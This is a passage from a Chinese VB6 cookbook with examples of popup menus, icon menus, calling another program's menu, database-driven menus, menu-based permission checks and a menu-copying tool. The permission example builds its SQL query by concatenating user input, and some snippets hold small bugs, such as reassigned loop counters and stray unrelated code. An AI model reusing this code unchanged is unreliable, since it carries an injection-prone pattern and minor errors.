    Adodc1.RecordSource = "kc"                                '设置数据源
    Set MSHFlexGrid1.DataSource = Adodc1                        '为网格控件设置数据源
    MSHFlexGrid1.ColWidth(0) = 200                            '设置网格控件首列的宽度
    Load sort(1)                                        '动态添加一个菜单数组元素
    sort(1).Caption = "一般升序"                                '设置菜单标题
    Load sort(2)
    sort(2).Caption = "一般降序"
    Load sort(3)
    sort(3).Caption = "数值升序"
    Load sort(4)
    sort(4).Caption = "数值降序"
    Load sort(5)
    sort(5).Caption = "字符串升序（不区分大小写）"
    Load sort(6)
    sort(6).Caption = "字符串降序（不区分大小写）"
    Load sort(7)
    sort(7).Caption = "字符串升序（区分大小写）"
    Load sort(8)
    sort(8).Caption = "字符串降序（区分大小写）"
    Load sort(9)
    sort(9).Caption = "不排序"
    sort(0).Visible = False                                    '设置索引为0的菜单项不可见
End Sub
Private Sub MSHFlexGrid1_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
    If Button = 2 Then                                    '如果按下鼠标右键
        PopupMenu file                                    '弹出菜单
    End If
End Sub
Private Sub sort_Click(Index As Integer)                            '单击菜单项执行下列代码
    Select Case Index
    Case 1
        MSHFlexGrid1.sort = 1
    Case 2
        MSHFlexGrid1.sort = 2
    Case 3
        '…此处代码省略
    End Select
End Sub




秘笈心法

心法领悟280：控件上弹出式菜单的设置。

控件上弹出式菜单与其他弹出式菜单一样，其实都是使用PopupMenu方法实现的，只是将代码添加到不同对象的MouseDown事件中。



 实例281　创建带图标的菜单

光盘位置：光盘\MR\09\281

中级

趣味指数：[image: ]




实例说明

VB创建的程序菜单都是以文本形式体现的，显得乏味单调。Windows中的一些软件菜单都是带图标的，这样美化了程序界面。本实例实现在VB应用程序菜单中添加图标，以达到美化程序界面的目的，程序的运行界面如图9.21所示。

[image: ]
图9.21　为菜单添加图标



关键技术

利用API函数GetMenu、GetSubMenu、GetmenuItemID和SetMenuItemBitmaps函数可以将图标添加到菜单上。

弹出菜单的句柄可以使用API函数GetMenu与GetSubMenu函数来获得。位图则可以通过在窗体上放置图像控件来提供。

（1）GetMenu函数

该函数用于获得窗体菜单的句柄。它是返回值为菜单的句柄，如果窗体没有菜单，则返回Null。其中参数hWnd用来指定具有菜单的窗口的句柄。

（2）GetSubMenu函数

该函数用于获得弹出菜单的句柄。它的返回值即为弹出菜单的句柄，如出错，则返回Null，语法如下：



Public Declare Function GetMenu Lib "user32" Alias "GetMenu" (ByVal hwnd As Long) As Long




参数说明：

hwnd：类型Long，表示窗口的句柄。

（3）SetMenuItemBitmaps函数

该函数以用户位图来取代默认菜单检取标志位图。

该API函数的语法如下：



[Public | Private ] Declare Function SetMenuItemBitmaps Lib "user32" ( _
                        ByVal hMenu As Long, _
                        ByVal nPosition As Long, _
                        ByVal wFlags As Long, _
                        ByVal hBitmapUnchecked As Long, _
                        ByVal hBitmapChecked As Long) As Long




参数说明如表9.9所示。

表9.9　SetMenuItemBitmaps函数的参数说明



	参数
	说明



	hMenu
	用来指定菜单句柄



	nPosition
	指定要改变的菜单项号



	wFlags
	决定在nPosition参数中指定的菜单项的ID还是菜单项的顺序编号。当值为MF_BYCOMMAND，表示nPosition的值是菜单项的ID；当值为MF_BYPOSITION，表示nPosition的值是菜单项的顺序编号。值为0时为第一项，值为1时为第二项，依此类推



	hBitmapUnchecked
	用来指定当菜单项非检取时要显示的位图句柄



	hBitmapChecked
	用来指定当菜单项检取时要显示的位图句柄




设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）选择“工具”/“菜单编辑器”命令，打开“菜单编辑器”，设计如图9.21所示的菜单。

（3）本例要为4个菜单项添加图标，因此在ImageList控件中添加4个图标。ImageList控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，在打开的“部件”对话框中选中Microsoft Windows Common Controls 6.0（SP4）复选框，单击“确定”按钮。此时，几个新的控件将出现在工具箱中，将ImageList控件添加到窗体上。

（4）主要程序代码如下：



Private Declare Function GetMenu Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function GetSubMenu Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
Private Declare Function GetMenuItemID Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
Private Declare Function SetMenuItemBitmaps Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long, ByVal hBitmapUnchecked As Long, ByVal hBitmapChecked As Long) As Long
Const MF_bitmap = &H4&
Private Sub Form_Load()
    '为“进货管理”菜单下的子菜单添加图标
    Dim i As Integer
    Dim menu1 As Long
    Dim menuID As Long
    menu1 = GetMenu(Me.hwnd)
    For i = 1 To 4
        menuID = GetMenuItemID(GetSubMenu(menu1, 0), i - 1)
        SetMenuItemBitmaps menu1, menuID, MF_bitmap, ImageList2.ListImages(i).Picture, ImageList2.ListImages(i).Picture
    Next
End Sub




秘笈心法

心法领悟281：使用ImageList控件设置位图列表。

ImageList控件可以提供一组图标，先添加一些图标到此控件，在代码设计时，就可以使用此控件中的图像列表，为图像显示提供了很大帮助。



 实例282　为无标题栏窗体添加菜单

光盘位置：光盘\MR\09\282

初级

趣味指数：[image: ]




实例说明

为了使窗体界面更加美观，在某些程序中将窗体的标题栏都去掉，用图片来代替，去掉标题栏会随之产生很多问题，例如，不能在窗体中添加菜单，如果添加了菜单，则不能去掉窗体的标题栏。由于这个原因很多程序不得不保留窗体的标题栏，或者不使用菜单，利用工具栏的形式实现菜单的功能。本实例实现使用两种方法为无标题栏窗体添加菜单。这两种方法分别是利用图片的形式实现和辅助窗体的形式实现，程序的运行效果如图9.22所示。

[image: ]
图9.22　无标题栏窗体添加菜单



关键技术

本实例通过在辅助窗体创建菜单，在主窗体中使用图像框和标签控件创建菜单栏，使用弹出式菜单的方法来实现为无标题栏窗体添加菜单的功能。

设计过程

本程序中窗体顶部的菜单是利用辅助窗体设计实现的，下面介绍其实现过程：

（1）在创建的窗体Frm_main中添加5个PictureBox控件，使用默认名，将其设置成控件数组，设置Appearance属性为0-Flat，平面效果。BorderStyle属性为0-None，控件无边框。设置Picture属性为事先设计好的图片。

（2）在每个Picture1控件中添加一个Label控件，将其设置成名称为Lbl_menu的控件数组。设置AutoSize属性为True，根据控件中的文字自动地显示全部内容。设置BackStyle属性为0-Transparent，透明显示，设置Caption属性与辅助窗体中的顶层菜单一致，这里设置为“添加”、“删除”、“查找”、“列表”和“模式”。

（3）在工程中新建一个窗体，命名为Frm_menu，设置窗体的Caption属性为“辅助窗体”，在该窗体上利用菜单编辑器设计菜单效果如图9.23所示。
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图9.23　列表的菜单



设计好的效果如图9.24所示。

[image: ]
图9.24　辅助窗体的设计效果




注意：
 辅助窗体中的顶层菜单要和在主窗体中的Label控件文字内容对应。

（4）主要程序代码。

为了用浮动的效果，当鼠标在菜单上移动时，文字的颜色被设置为白色，效果如图9.25所示。

[image: ]
图9.25　鼠标浮动时的效果



当鼠标移入到菜单项时，文字颜色变为白色，关键代码如下：



Private Sub Lbl_menu_MouseMove(Index As Integer, Button As Integer, Shift As Integer, X As Single, Y As Single)
    Dim i As Integer                                                '定义整型变量
    If Index = 0 Or Index = 1 Or Index = 2 Or Index = 3 Or Index = 4 Then
        Picture1(Index).BackColor = &H80000002                                '设置图片控件的背景色
        Lbl_menu(Index).ForeColor = &H80000005                                '设置文字的前景色
    End If
End Sub




当鼠标移出到菜单项时，文字颜色变回黑色，关键代码如下：



Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Dim i As Integer                                                '定义整型变量
    For i = 0 To 4                                                    '循环
        Picture1(i).BorderStyle = 0                                        '设置图片框的边框样式为无边框
        Picture1(i).BackColor = &H8000000F                                    '设置图片框背景色为默认颜色
        Lbl_menu(i).ForeColor = &H0&                                    '设置文字的前景色为黑色
    Next i
End Sub




当用户用鼠标单击Lbl_menu时，设置Picture1控件的边框样式和背景色，设置对应的Label控件的文字颜色为白色，在Picture1控件的下面，利用PopupMenu方法弹出对应的菜单，程序代码如下：



Private Sub Lbl_menu_Click(Index As Integer)
    On Error Resume Next                                                '当遇错时执行下一条语句
    Picture1(Index).Appearance = 1                                        '设置控件的绘图风格为3D效果
    Picture1(Index).BorderStyle = 1                                        '设置控件的边框效果为固定的边框
    Picture1(Index).BackColor = &H8000000F                                    '设置控件的背景颜色
    Lbl_menu(Index).ForeColor = &H0&                                    '设置文字的颜色为白色
    Select Case Index                                                '根据序号的不同执行不同的操作
    Case 0                                                        '调用辅助窗体中的“添加”菜单
        PopupMenu Frm_menu.Add, , Picture1(0).Left, Picture1(0).Top + Picture1(0).Height + 10
    Case 1                                                        '调用辅助窗体中的“删除”菜单
        PopupMenu Frm_menu.Del, , Picture1(1).Left, Picture1(1).Top + Picture1(1).Height + 10
    Case 2                                                        '调用辅助窗体中的“查找”菜单
        PopupMenu Frm_menu.Find, , Picture1(2).Left, Picture1(2).Top + Picture1(2).Height + 10
    Case 3                                                        '调用辅助窗体中的“列表”菜单
        PopupMenu Frm_menu.List, , Picture1(3).Left, Picture1(3).Top + Picture1(3).Height + 10
    Case 4                                                        '调用辅助窗体中的“模式”菜单
        PopupMenu Frm_menu.model, , Picture1(4).Left, Picture1(4).Top + Picture1(4).Height + 10
     End Select
End Sub




秘笈心法

心法领悟282：为无标题栏窗体添加右键弹出式菜单。

无标题栏窗体不能添加菜单，使用标签控件等设计菜单按钮，并通过辅助窗体实现菜单功能，能为无标题栏窗体添加菜单，但是很麻烦。为无标题栏窗体添加右键弹出式菜单就会简单得多。



 实例283　创建个性化弹出式菜单

光盘位置：光盘\MR\09\283

中级

趣味指数：[image: ]




实例说明

VB自带的菜单编辑器编辑出来的菜单都是比较简单的菜单样式，如果想做出漂亮的菜单就需要自己动手制作了。本实例实现创建一个漂亮的弹出式菜单，程序的运行效果如图9.26所示。

[image: ]
图9.26　创建个性化弹出式菜单



关键技术

本实例采用图形界面与弹出式菜单结合，实现个性化的弹出菜单。首先设计界面，然后在界面按钮位置放置Label控件数组，模拟按钮功能，然后根据用户单击按钮，弹出相应菜单。弹出的菜单是带图标的菜单。实现技术参考实例281中的关键技术。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）本程序窗体设计过程与实例“为无标题栏窗体添加菜单”相同，可参考实例282中的实例说明。

（3）实现在辅助窗体中创建带图标的程序菜单的代码如下：



Function vis(ByVal mymenu As Integer)
    Dim i As Integer
    Dim menu1, menuy As Long
    Dim menuID As Long
    menu1 = GetMenu(Me.hwnd)
    If mymenu = 1 Then
        menuy = 1
        For i = 1 To 3
            menuID = i
            SetMenuItemBitmaps menu1, menuID + 1, MF_bitmap, ImageList1.ListImages(menuID).Picture, ImageList1.ListImages(menuID).Picture
        Next
    End If
    If mymenu = 2 Then
        menuy = 13
        For i = 1 To 5
            menuID = menuy + i
            SetMenuItemBitmaps menu1, menuID, MF_bitmap, ImageList1.ListImages(i + 3).Picture, ImageList1.ListImages(i + 3).Picture
        Next
    End If
    If mymenu = 3 Then
        menuy = 19
        For i = 1 To 4
            menuID = menuy + i
            SetMenuItemBitmaps menu1, menuID, MF_bitmap, ImageList1.ListImages(i + 8).Picture, ImageList1.ListImages(i + 8).Picture
        Next
    End If
    nfIconData.hwnd = Me.hwnd
    nfIconData.uID = Me.Icon
    nfIconData.uFlags = NIF_ICON Or NIF_MESSAGE Or NIF_TIP
    nfIconData.uCallbackMessage = WM_MOUSEMOVE
    nfIconData.hIcon = Me.Icon.Handle
    nfIconData.szTip = "System Tray Example" & vbNullChar
    nfIconData.cbSize = Len(nfIconData)
End Function




实现打开弹出式菜单的代码如下：



Private Sub Lbl_menu_Click(Index As Integer)
    On Error Resume Next
    Picture1(Index).Appearance = 1
    Picture1(Index).BorderStyle = 1
    Picture1(Index).BackColor = &H8000000F
    Lbl_menu(Index).ForeColor = &H0&
    Select Case Index
    Case 0                        '添加菜单
        Frm_menu.vis (1)
        PopupMenu Frm_menu.Add, , Picture1(0).Left, Picture1(0).Top + Picture1(0).Height + 10
    Case 1                       '删除菜单
        PopupMenu Frm_menu.Del, , Picture1(1).Left, Picture1(1).Top + Picture1(1).Height + 10
    Case 2                        '查找菜单
        PopupMenu Frm_menu.Find, , Picture1(2).Left, Picture1(2).Top + Picture1(2).Height + 10
    Case 3                        '列表菜单
        Frm_menu.vis (2)
        PopupMenu Frm_menu.List, , Picture1(3).Left, Picture1(3).Top + Picture1(3).Height + 10
    Case 4                        '模式菜单
        Frm_menu.vis (3)
        PopupMenu Frm_menu.model, , Picture1(4).Left, Picture1(4).Top + Picture1(4).Height + 10
    Case 5, 6, 7, 8
        Pic_menu.Visible = False
        MsgBox Lbl_menu(Index).Caption
    End Select
End Sub




秘笈心法

心法领悟283：弹出式菜单说明。

弹出式菜单是指在窗体上单击鼠标右键之后弹出的菜单，弹出式菜单也称为浮动菜单。它除了不显示0级菜单项的标题以外，弹出式菜单的每个菜单项都可以有自己的子菜单。一般来说，弹出式菜单所显示菜单项的位置取决于单击鼠标右键时指针所处的位置。


 9.3　高级菜单应用



 实例284　调用系统菜单

光盘位置：光盘\MR\09\284

中级

趣味指数：[image: ]




实例说明

在使用鼠标右键单击窗体标题栏时可弹出系统菜单，本实例实现当使用鼠标右键单击窗体时，也弹出系统菜单，程序的运行效果如图9.27所示。

[image: ]
图9.27　调用系统菜单



关键技术

调用系统菜单主要通过使用API函数GetSystemMenu和TrackPopupMenu函数实现。

TrackPopupMenu函数声明方法如下：



Public Declare Function TrackPopupMenu Lib "user32" Alias "TrackPopupMenu" (ByVal hMenu As Long, ByVal wFlags As Long, ByVal x As Long, ByVal y As Long, ByVal nReserved As Long, ByVal hwnd As Long, lprc As Rect) As Long




参数说明如表9.10所示。

表9.10　TrackPopupMenu函数的参数说明



	参数
	说明



	hwnd
	Long，用于接收弹出式菜单命令的窗口的句柄。应该使用窗体的窗口句柄——窗体中有一个菜单能像弹出式菜单那样接收相同的命令ID集



	wFlags
	Long，位置标志和鼠标追踪标志的组合，位置标志如下。

[image: ]
 TPM_CENTERALIGN：菜单在指定位置水平居中

[image: ]
 TPM_LEFTALIGN：菜单的左侧置于水平x坐标处

[image: ]
 TPM_RIGHTALIGN：菜单的右侧置于水平x坐标处

[image: ]
 TPM_LEFTBUTTON：鼠标左键标准运作方式

[image: ]
 TPM_RIGHTBUTTON：用鼠标右键进行菜单追踪



	x,y
	Long，这个点指定了弹出式菜单在屏幕坐标系统中的位置



	nReserved
	Long，未使用，设为0



	lprc
	Rect，用屏幕坐标定义的一个矩形，如用户在这个矩形的范围内单击，则弹出式菜单不会关闭。如单击弹出式菜单之外的任何一个地方，则会关闭菜单。可以设为Null





说明：
 GetSystemMenu函数的详细讲解请参见实例247中的关键技术。

设计过程

（1）新建一个标准工程。

（2）创建一个新窗体，默认的“名称”属性为Form1，设置窗体Caption属性为“调用系统菜单”。

（3）主要程序代码如下：



Private Sub Form_MouseUp(Button As Integer, Shift As Integer, _
                         x As Single, y As Single)
    Dim Pt As POINTAPI                                                '鼠标指针坐标结构
    GetCursorPos Pt                                                '获取鼠标指针坐标
    If Button = 2 Then                                                '鼠标右键
        TrackPopupMenu GetSystemMenu(Me.hwnd, False), _
                       TPM_LEFTALIGN, Pt.x, Pt.y, 0, Me.hwnd, ByVal 0&                '弹出系统菜单
    End If
End Sub




秘笈心法

心法领悟284：GetCursorPos获取当前鼠标位置。

本实例弹出的系统菜单在鼠标的当前位置，这个位置是使用GetCursorPos函数获取的，并将其赋给一个Point类型的数据，以得到当前鼠标位置坐标。



 实例285　调用其他应用程序的菜单

光盘位置：光盘\MR\09\285

中级

趣味指数：[image: ]




实例说明

在VB程序窗口可以调用其他窗口菜单，实现对其他窗口的操作。本实例实现在程序运行时，系统中同时还运行一个新建的记事本，单击窗体上的“获取菜单”按钮，可以调用记事本的“另存为”菜单命令，打开“另存为”对话框，保存记事本，程序的运行效果如图9.28所示。

[image: ]
图9.28　调用记事本菜单



关键技术

在这里以调用“记事本”程序的“文件”菜单项中的“另存为”命令为例，对调用方法进行介绍。

要调用“记事本”程序中的菜单命令当然是以“记事本”程序已经运行为前提。调用菜单命令的步骤如下：

（1）使用API函数FindWindow获取“记事本”程序的窗口句柄。

（2）使用API函数GetMenu，根据“记事本”程序的窗口句柄获取窗口中菜单的句柄。

（3）获取菜单句柄后还需要使用API函数GetSubMenu根据菜单句柄获取弹出式菜单的句柄。

（4）获取弹出式菜单句柄后，可以使用API函数GetMenuItemID根据弹出式菜单句柄来获取菜单条目的句柄。

（5）激活“记事本”程序的窗口并根据窗口句柄以及菜单命令项句柄执行指定的菜单命令。执行菜单命令通过使用API函数SendMessage实现。


注意：
 本实例调用系统正在运行的一个标题为“无标题-记事本”的记事本。运行程序时，此记事本要是打开的。

设计过程

（1）新建一个标准工程。

（2）创建一个新窗体，默认的“名称”属性为Form1，设置窗体Caption属性为“调用记事本菜单”。

（3）在窗体上添加一个CommandButton控件。

（4）主要程序代码如下：



Private Declare Function GetMenu Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetSubMenu Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
Private Declare Function GetMenuItemID Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Const WM_COMMAND = &H111
   
Private Sub Command1_Click()
    Dim hwnd As Long
    Dim hMainMenu As Long
    Dim hMenu As Long
    Dim MenuID As Long
    Dim Ret As Long
    hwnd = FindWindow(vbNullString, "无标题 - 记事本")            '获取记事本窗体句柄
    If hwnd = 0 Then Exit Sub
    hMainMenu = GetMenu(hwnd)                        '获取菜单
    hMenu = GetSubMenu(hMainMenu, 0)                    '获取子菜单
    MenuID = GetMenuItemID(hMenu, 3)
    AppActivate "无标题 - 记事本"
    Ret = SendMessage(hwnd, WM_COMMAND, MenuID, 0&)
End Sub




秘笈心法

心法领悟285：FindWindow的使用技巧。

FindWindow最常见的一个用途是获得ThunderRTMain类的隐藏窗口的句柄；该类是所有运行中VB执行程序的一部分。获得句柄后，可用API函数GetWindowText取得这个窗口的名称；该名称也是应用程序的标题。



 实例286　创建右键菜单用于粘贴

光盘位置：光盘\MR\09\286

中级

趣味指数：[image: ]




实例说明

本实例实现在图像框单击鼠标右键，弹出快捷菜单，选择“粘贴”命令，将一开始复制的图片粘贴到图像框上，程序的运行效果如图9.29所示。

[image: ]
图9.29　创建右键菜单用于粘贴



关键技术

本实例使用弹出式菜单显示一个粘贴菜单。使用剪贴板的GetData方法，获取系统剪贴板中的信息，并将图片信息显示在窗体图像框上。

GetData方法用于获取当前的数据块并将其存储在变体类型的变量中，语法如下：



object.GetData data, [type,] [maxLen]




参数说明

❶ data：在方法成功返回之后存储获取数据的地方。如果对请求的类型没有足够可用的数据，则将data设置成Empty。

❷ type：可选参数。获取的数据类型。

❸ maxLen：可选参数。在接收到字节数组或字符串时所需大小。如果字节数组或字符串、参数丢失，则将获取所有可用数据。如果提供的数据类型不是字节数组或字符串，则忽略这个参数。

设计过程

（1）新建工程，添加窗体，将窗体的Caption属性设置为“创建右键菜单用于粘贴”。

（2）选择“工具”/“菜单编辑器”命令，打开“菜单编辑器”，设置菜单项，将“可见”选项前的“√”符号去掉。

（3）在窗体上添加一个PictureBox控件，用于显示剪贴板中的图片信息。

（4）主要程序代码如下：



Private Sub Picture1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    If Button = 2 Then                                '单击鼠标右键
        Me.PopupMenu config                             '弹出菜单
    End If
End Sub
    
Private Sub plaster_Click()
    Picture1.Picture = Clipboard.GetData                    '获取剪贴板信息
End Sub
Private Sub clear_Click()
    Picture1.Picture = LoadPicture()                        '清空图像
End Sub




秘笈心法

心法领悟286：从剪贴板获取数据。

当在系统中执行“复制”命令（通过按Ctrl+C键或者执行了系统菜单中的“复制”命令），即可将数据保存在剪贴板中，在VB中使用剪贴板的GetData方法可获取在系统中复制的数据。



 实例287　制作带菜单的记事本

光盘位置：光盘\MR\09\287

中级

趣味指数：[image: ]




实例说明

使用VB可以创建一个类似于Windows中的记事本，本程序实现创建一个带菜单的记事本，来演示菜单的应用，程序的运行效果如图9.30所示。

[image: ]
图9.30　创建带菜单的记事本



关键技术

本实例是创建菜单的典型应用。通过在一个记事本程序中创建菜单，来演示菜单的创建和应用。本实例仅演示菜单的创建，没有添加实际的应用功能。

设计过程

（1）新建工程，添加窗体，将窗体的Caption属性设置为“制作带菜单的记事本”。

（2）选择“工具”/“菜单编辑器”命令，打开“菜单编辑器”，设置菜单项。

（3）在窗体上添加一个TextBox控件，用于文本编辑。

（4）主要程序代码如下：



Private Sub mnuFileOpen_Click()                            '打开指定的文件
    Dim sFile As String
    With dlgCommonDialog
        .DialogTitle = "打开"                            '设置“打开”对话框标题
        .CancelError = False
        'ToDo: 设置CommonDialog控件的标志和属性
        .Filter = "所有文件 (*.*)|*.*"                        '文件类型
        .ShowOpen                                '显示“打开”对话框
        If Len(.FileName) = 0 Then                        '如果文件名为空
            Exit Sub                                '退出过程
        End If
        sFile = .FileName
    End With
    Dim Freef As Integer
    Freef = FileSystem.FreeFile
    Open sFile For Binary As Freef                        '打开指定文件
    Txt_article.Text = Input(LOF(Freef), Freef)                    '将文本内容显示在文本框中
    Close Freef
End Sub




秘笈心法

心法领悟287：使用Open打开文件后要关闭。

使用Open语句打开一个文件后，要使用Close语句进行关闭，否则再次打开该文件将无法打开，会提示一个错误。



 实例288　根据表中数据动态生成菜单

光盘位置：光盘\MR\09\288

中级

趣味指数：[image: ]




实例说明

大多时候程序菜单都是在进行窗体设计时在菜单编辑器中手动设计的。但如果菜单项很多，手动设计就会很麻烦，而且还不能重用。为提高菜单重用率和程序开发效率，可以通过菜单设计器设计一小部分菜单，其他菜单记录在数据库中，在程序启动时，根据数据动态生成菜单，如图9.31所示。

[image: ]
图9.31　动态生成菜单



关键技术

可以通过菜单数组实现动态添加菜单。本实例中首先通过菜单编辑器建立“库存管理”、“销售管理”等主菜单，然后在“库存管理”菜单下建立一个标题为“【基础数据】”的子菜单，设置该子菜单的“名称”为stockmanger，索引值为0，最后通过代码即可动态读取数据库中保存的菜单信息创建菜单。


注意：
 每个主菜单下面都必须建立一个子菜单数组，并将该菜单索引设置为0，方可动态创建菜单。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）选择VB菜单中的“工具”/“菜单编辑器”命令，打开“菜单编辑器”，设计“基础数据”等如图9.31所示的主菜单。

（3）主要程序代码如下：



Private Sub Form_Load()
    Dim cnn As New ADODB.Connection
    Dim rs As New ADODB.Recordset
    cnn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\db_jxc.MDB"    '打开数据库
    rs.Open "tb_menu where jb='stockmanger'", cnn, adOpenKeyset, adLockOptimistic            '打开记录集
    If rs.RecordCount > 0 Then                                            '如果记录数大于0
        For i = 1 To rs.RecordCount                                        '循环执行
            i = stockmanger.ubound + 1                                    '获取菜单数组索引值
            Load stockmanger(i)                                        '加载菜单项
            stockmanger(i).Caption = rs.Fields("name")                            '为菜单项赋值
            If Not rs.EOF Then rs.MoveNext                                    '记录下移
        Next i
    End If
    rs.Close
    rs.Open "tb_menu where jb='sell'", cnn, adOpenKeyset, adLockOptimistic
    If rs.RecordCount > 0 Then
        For i = 1 To rs.RecordCount
            i = sell.ubound + 1
            Load sell(i)                                                '加载菜单项
            sell(i).Caption = rs.Fields("name")                                '设置菜单标题
            If Not rs.EOF Then rs.MoveNext                                    '记录下移
        Next i
    End If
    rs.Close
End Sub




秘笈心法

心法领悟288：菜单数组的使用。

每个菜单数组元素都用唯一索引值来标记，该值通过菜单编辑器上的“索引”文本框进行设置。当一个数组元素识别一个事件时，VB将Index属性值作为一个附加参数传递给事件过程。事件过程必须包含判断Index属性值的代码，从而确定正在使用哪个菜单项，进而执行相应的命令操作。



 实例289　通过菜单控制操作权限

光盘位置：光盘\MR\09\289

中级

趣味指数：[image: ]




实例说明

通过菜单控制操作权限应首先使用CheckBox控件可用来提供True/False或者Yes/No选项的特性，将操作权限写到数据库中，然后读取数据库中的数据，通过数据字段的值决定该菜单是否可以访问，从而达到通过菜单控制每个操作员操作权限的目的。

运行程序，选择“销售业务管理”/“销售数据导入”命令，弹出没有操作权限的提示框，如图9.32所示。

[image: ]
图9.32　通过菜单控制操作权限



关键技术

本实例通过查询数据表中的操作员权限来设置菜单的状态，从而实现通过菜单控制操作权限。单击菜单项，查询当前用户的操作权限，如果没有权限则提示没有使用该功能的权限。本实例使用了菜单数组，使数组索引与数据表中的字段对应，当查询到字段内容为False时，判断没有使用权限。

设计过程

（1）新建一个标准工程，创建一个新窗体，设置“名称”属性为frm_main。

（2）选择VB菜单中的“工具”/“菜单编辑器”命令，打开“菜单编辑器”，设计“基础资料管理”等如图9.32所示的主菜单。

（3）主要程序代码如下：



Private Sub m1_Click(Index As Integer)
    rs1.Open "select * from 权限信息表 where 操作员='" & czy & "'", cnn, adOpenStatic
    If rs1.RecordCount > 0 Then
        If rs1.Fields(Index) = False Then
            MsgBox "对不起，您没有使用此项功能的权限！", vbInformation, "提示窗口"
            rs1.Close
            Exit Sub
        End If
    End If
    rs1.Close
End Sub
'其他菜单实现代码与此相同




秘笈心法

心法领悟289：设置菜单不可用。

可将菜单项的Enable属性设置为False，使菜单项不可用。菜单项不可用时，在菜单中显示为灰色，鼠标单击时没有反应。



 实例290　菜单复制器

光盘位置：光盘\MR\09\290

高级

趣味指数：[image: ]




实例说明

菜单复制器是一款非常实用的程序设计辅助小工具，可以帮助用户轻松地实现根据已有菜单创建相似结构的菜单的功能。能够节省程序设计的时间，实现快速创建菜单的功能。

运行本程序，选择要复制菜单的源文件，然后选择要复制菜单的目标文件，单击“复制”按钮，即可将源文件中的菜单复制到目标的窗体文件上，其效果如图9.33所示。

[image: ]
图9.33　菜单复制器



关键技术

本程序的制作过程大部分是通过动态数组来实现的，下面对数组及动态数组的声明和使用进行介绍。

1．数组的概念

数组必须先声明后使用。根据声明时数组的大小是否确定，可将数组分为静态（定长）数组和动态（可变长）数组两种类型。

静态数组是指程序运行时，数组中包含的数组元素的个数不变，所占存储空间也保持不变。静态数组在声明时已确定了数组的大小。

动态数组是指在程序运行时，可以增加或减少其数组元素个数，而且其存储空间也会根据需求变大或变小。


注意：
 本程序中主要使用动态数组，这里着重介绍动态数组。

2．动态数组

动态数组使用ReDim语句声明。ReDim语句是在过程级别中使用的语句，语法如下：



ReDim [Preserve] 数组名(下标) [As 数据类型]




声明动态数组语法中的各部分说明如表9.11所示。

表9.11　声明动态数组语法中的各部分说明



	部分
	说明



	Preserve
	可选参数。关键字，当改变原有数组最末维的大小时，使用此关键字可以保持数组中原来的数据



	数组名
	必选参数。数组的名称；遵循标准的变量命名约定



	下标
	必选参数。数组变量的维数；最多可以声明60维的多维数组



	数据类型
	可选参数。变量的数据类型；可以是Byte、Boolean、Integer、Long、Currency、Single、Double、Date、String（对变长的字符串）、String * length（对定长的字符串）、Object、Variant、用户定义类型或对象类型。所声明的每个变量都要有一个单独的As数据类型子句。对于包含数组的Variant而言，数据类型描述的是该数组的每个元素的类型，不能将此Variant改为其他类型




例如，在程序中声明动态数组a(10)，程序代码如下：



ReDim a(10) As Long




动态数组还可以使用Dim语句声明。在使用Dim语句声明动态数组时，将数组下标定义为空（没有数组），并在需要改变这个数组大小时，使用ReDim语句重新声明这个数的下标。

例如，下面的代码是本程序中的一段代码，根据重新定义的数组上标，重新定义数组大小，然后给这个数组赋值。



    '获取最后整个数组的大小
    iMaxCount = UBound(DesArray) + UBound(sourceFile) + 2
    '重新定义数组的大小
    ReDim desFile(0 To iMaxCount - 1)
    '将需要插入数组的前面的数据赋给新数组
    For i = 0 To iTemp - 1
        desFile(i) = DesArray(i)
    Next i




设计过程

（1）新建一个VB工程。

（2）设置窗体的名称为Frm_main，设置窗体的Caption属性为“菜单复制器【针对VB工程】”。设置MaxButton属性为False，不显示“最大化”按钮，窗体不能被设置为最大化的效果。设置StartUpPosition属性为“2-屏幕中心”，即在窗体启动时，显示在屏幕的中心位置。

（3）在窗体上添加两个Label控件和两个TextBox控件。

（4）在窗体上添加一个CommonDialog控件，使用其默认名CommonDialog1，用于显示打开文件的对话框。

（5）在文本框的后面添加两个CommandButton控件，使用其默认名，将其Caption属性都设置为...，用于执行打开对话框的操作。

（6）在窗体上再添加两个CommandButton控件，命名为Cmd_Copy和Cmd_Exit，设置Caption属性分别为“复制”和“退出”，用于执行复制菜单和退出程序的操作。

（7）主要程序代码。

当源文件和目标文件都设置完成以后，就可以单击“复制”按钮，将源文件中的菜单赋值到目标文件中，实现代码如下：



Private Sub Cmd_Copy_Click()                                '复制菜单
    Dim i As Integer                                    '定义整型变量
    Dim iTemp As Integer                                    '定义变量用于存储应该插入菜单的位置
    Dim iMaxCount As Integer                                '定义最后生成的数组上标
    
    If GetMenu = False Then                                '调用自定义过程获取菜单，如果窗体中没有菜单
        MsgBox "该窗体中没有菜单！请重新选择！", vbCritical            '弹出对话框
        Exit Sub                                        '退出过程
    End If
    ChangeArray                                        '调用自定义过程将目标文件存储为数组
    
    '获取到需要插入数据的位置
    For i = 0 To UBound(DesArray)
        If Left(Trim(DesArray(i)), 19) = "Attribute VB_Name =" Then        '如果数组的值为“Attribute VB_Name =…”
            iTemp = i – 1                                'iTemp为要插入数组的序号，在该序号前面插入数组
            Exit For                                    '退出过程
        End If
    Next i
    
    '获取最后整个数组的大小
